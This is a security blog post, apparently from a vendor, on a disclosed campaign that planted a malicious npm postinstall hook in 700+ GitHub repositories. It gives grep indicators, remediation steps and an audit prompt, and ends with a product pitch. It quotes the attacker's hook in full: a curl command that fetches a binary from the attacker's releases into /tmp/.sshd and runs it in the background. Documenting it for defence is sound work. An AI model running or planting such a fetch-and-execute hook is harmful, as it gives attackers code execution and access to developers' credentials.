700 repos. One postinstall hook.
Socket Research disclosed a postinstall-hook campaign across 700+ GitHub repositories today. Different actor than TeamPCP. Same playbook. One config change kills the entire attack class.
Today, Socket disclosed 700+ repos hit by one postinstall hook.
Today, Socket Research disclosed a postinstall-hook campaign across 700+ GitHub repositories, including PHP Composer packages and Node.js projects. Different actor from TeamPCP. Different MO. Same playbook builders need to know.
A single GitHub account (parikhpreyash4) committed an identical malicious postinstall script directly to upstream repositories. The payload lives in package.json, not composer.json. That's the trick. PHP teams reviewing Composer metadata never look there. The package installs, the hook fires, the binary lands.
Eight Composer packages were confirmed in the first sweep. Within 17 hours, a GitHub code search for the attacker's username returned hundreds more repositories pointing at the same payload URL.
What the hook does
Identical across every artifact. Roughly:
curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &
Five things to notice. curl -k disables TLS verification. The binary gvfsd-network downloads from the attacker's own GitHub Releases. The drop path /tmp/.sshd mimics the SSH daemon. 2>/dev/null suppresses every error. The & runs it in the background while your install continues like nothing happened.
The second-stage binary was pulled before Socket researchers could retrieve it. Whatever it does once running (credential stealer, miner, persistence implant) is unknown. The install-time RCE alone is enough to call this fatal.
Why starter kits get hit worst
Most postinstall attacks land on dependencies inside vendor/ or node_modules/. The hook doesn't fire from a top-level npm install because npm only runs lifecycle scripts for packages declared in your root project's dependencies. So library compromises usually need an explicit install of the malicious package.
Starter kits flip this. The repo BECOMES the developer's project root. Fork devdojo/wave (Laravel SaaS starter kit, 6,400 GitHub stars) or devdojo/genesis (1,300 stars, 9,100 Packagist installs), run npm install, and the malicious package.json is at top level. The postinstall fires immediately. Whatever credentials, tokens, or SSH keys you had on disk when you did that, the attacker has now seen.
Not the worm. Same defense.
This is not TeamPCP. Different signature pattern. No self-replicating OIDC token theft. No Shai-Hulud markers. No @ git-dep injection trick. One attacker-controlled account, direct upstream commits, remote-binary payload.
Three weeks ago a different solo actor (sh20raj) pulled the same playbook on the unscoped tanstack package name, draining .env files to a Svix webhook in 27 minutes. Different crew. Same mechanic.
The Mini Shai-Hulud worm is one threat. The solo crews copying its pattern at lower scale are now another. The defensive move is the same for both.
Grep your way out
Run this against your repo files, your lockfiles, and your CI workflow YAML:
grep -rE "parikhpreyash4|/tmp/\.sshd|gvfsd-network|curl -skL" \
package.json package-lock.json .github/ \
--include="*.json" --include="*.yml" --include="*.yaml"
Then check your CI build logs back 30 days minimum for outbound calls to github.com/parikhpreyash4/* or any /tmp/.sshd references. If anything hits, treat it as a confirmed compromise. Pause CI. Revoke (not rotate) every credential the affected workflow could touch. Audit your GitHub, AWS, Stripe, and OpenAI activity logs. Reimage the workstation that ran the bad install if you can't be sure it's clean.
The move
One config change handles the entire postinstall attack class for npm dependencies.
Add --ignore-scripts to your install commands, or set ignore-scripts=true in your .npmrc. That tells npm to skip lifecycle hooks (postinstall, preinstall, prepare) entirely. Better yet, migrate to pnpm v10+, which does this by default for dependencies.
For trusted in-house packages that legitimately need lifecycle scripts, allowlist them explicitly. Your own root package.json scripts still run as normal. The defense is at the dependency layer.
Audit my stack for the parikhpreyash4 postinstall campaign.
1. Grep my repo files, lockfiles, and CI workflow YAML for any of:
parikhpreyash4, /tmp/.sshd, gvfsd-network, curl -skL.
2. Search build logs for the last 30 days for outbound calls to
github.com/parikhpreyash4/* or any /tmp/.sshd references.
3. Run `npm ls --all --long --json` and surface every dependency
with a postinstall, preinstall, or prepare lifecycle script.
For each, cross-check the upstream repo to confirm the commit
matches what's published.
4. Add --ignore-scripts to my install commands, or set
ignore-scripts=true in .npmrc. Show me the diff before applying.
5. For every secret in my repo .env files: surface its name and
age. Anything older than 30 days, recommend rotation. Anything
touched by a workflow that ran since May 10, rotate immediately.
The grep takes 10 seconds. The rotation takes longer.
If you forked a Laravel SaaS starter kit this spring and ran npm install, you ran the postinstall.
The grep takes 10 seconds. The rotation takes longer.
Run Composed on your last 10 PRs.
Apply for design partner access and we’ll show which findings are real, exploitable, and worth fixing — free.
Run it on 10 PRs →